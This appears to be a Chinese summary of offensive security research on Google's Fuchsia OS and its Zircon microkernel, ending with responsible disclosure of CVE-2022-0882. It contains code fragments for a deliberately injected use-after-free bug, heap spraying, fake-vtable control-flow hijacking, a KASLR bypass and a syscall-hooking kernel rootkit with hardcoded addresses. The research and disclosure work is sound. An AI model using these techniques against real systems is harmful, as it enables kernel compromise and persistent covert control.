Fuchsia OS глазами атакующего
概述
Fuchsia是Google开发的开源通用操作系统,基于用C++编写的Zircon微内核构建。Fuchsia的设计优先考虑安全性、可更新性和性能。作为Linux内核安全研究员,作者对Fuchsia产生了兴趣,并决定从攻击者的角度进行研究。
文章内容
Fuchsia OS简介
Fuchsia是Google从2016年开始开发的开源通用操作系统。2020年12月,该项目开始接受外部贡献者,2021年5月,Google首次在Nest Hub智能家居设备上发布了Fuchsia。该系统支持arm64和x86_64微架构,目前处于积极开发阶段。
安全架构特点
- 无用户概念:Fuchsia使用基于能力(capabilities)的访问控制,而不是传统的用户权限模型
- 微内核设计:与Linux相比,大量功能从Zircon微内核移至用户空间,显著减少了内核攻击面
- 组件隔离:所有应用程序和系统服务都在沙箱中运行,进程间通信(IPC)需要显式声明
- 软件交付机制:应用程序通过URL标识,在运行前由系统下载,确保软件包始终是最新的
开发环境搭建
文章详细描述了如何从源代码构建Fuchsia系统:
1
2
3
|
$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build
|
使用FEMU(Fuchsia模拟器)启动系统:
创建Fuchsia应用程序
创建简单的"Hello World"组件:
1
|
$ fx create component --path src/a13x-pwns-fuchsia --lang cpp
|
组件代码向系统日志输出消息:
1
2
3
4
5
6
7
|
#include <iostream>
int main(int argc, const char** argv)
{
std::cout << "Hello from a13x, Fuchsia!\n";
return 0;
}
|
Zircon内核开发
Zircon内核代码位于zircon/kernel
目录,使用GDB进行调试:
1
2
3
|
$ fx qemu -N -s 1 --no-kvm -- -s
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234
|
安全测试:启用KASAN
编译支持KASAN(内核地址消毒剂)的版本:
1
2
|
$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan
$ fx build
|
作者通过注入UAF(Use-After-Free)漏洞测试KASAN检测能力:
1
2
3
4
5
6
|
// 在TimerDispatcher中注入漏洞
if (deadline_ % 100000 == 31337) {
uaf = true;
}
if (Release() || uaf)
delete this;
|
漏洞利用开发
堆喷技术(Heap Spraying)
使用FIFO系统调用实现堆喷:
1
2
3
4
5
|
zx_handle_t out0[N];
zx_handle_t out1[N];
for (int i = 0; i < N; i++) {
status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
}
|
控制流劫持
通过伪造虚函数表(vtable)实现控制流劫持:
1
2
3
4
|
unsigned long fake_vtable[VTABLE_SZ] = { 0 };
unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];
*vtable_ptr = &fake_vtable[0];
fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr;
|
KASLR绕过
发现zx_debuglog_create()
系统调用存在权限检查漏洞,可读取内核日志获取内核地址信息:
1
|
status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);
|
该漏洞被分配了CVE-2022-0882。
Rootkit植入
系统调用表劫持
定位系统调用表地址:0xffffffff003c49f8
编写rootkit钩子
使用汇编编写系统调用钩子:
1
2
3
4
5
6
7
8
9
10
11
|
push %rax
push %rdi
; 保存寄存器状态
mov $0xffffffff001012e0,%rdi
mov $0xffffffff0010fa20,%r11
callq *%r11
; 恢复寄存器状态
pop %r10
; ...
mov $0xffffffff003077c0,%r11
jmpq *%r11
|
植入rootkit
修改内核函数assert_fail_msg()
:
1
2
3
4
|
char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;
hook_addr[0] = 0xc3; // ret指令
hook_addr++;
memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);
|
劫持系统调用表项:
1
|
syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1;
|
演示结果
成功实现:
- UAF漏洞利用
- 控制流劫持
- 系统调用监控
- 内核rootkit植入
负责任披露
作者已向Fuchsia维护团队报告了研究中发现的安全问题,包括:
zx_debuglog_create()
的权限检查漏洞(CVE-2022-0882)
- KASLR实现问题
- 其他安全缺陷
结论
这是首批关于Fuchsia操作系统安全的公开研究之一,展示了在微内核操作系统中利用漏洞和实施攻击的实际技术。作者希望这项工作能激励更多研究人员参与操作系统安全研究。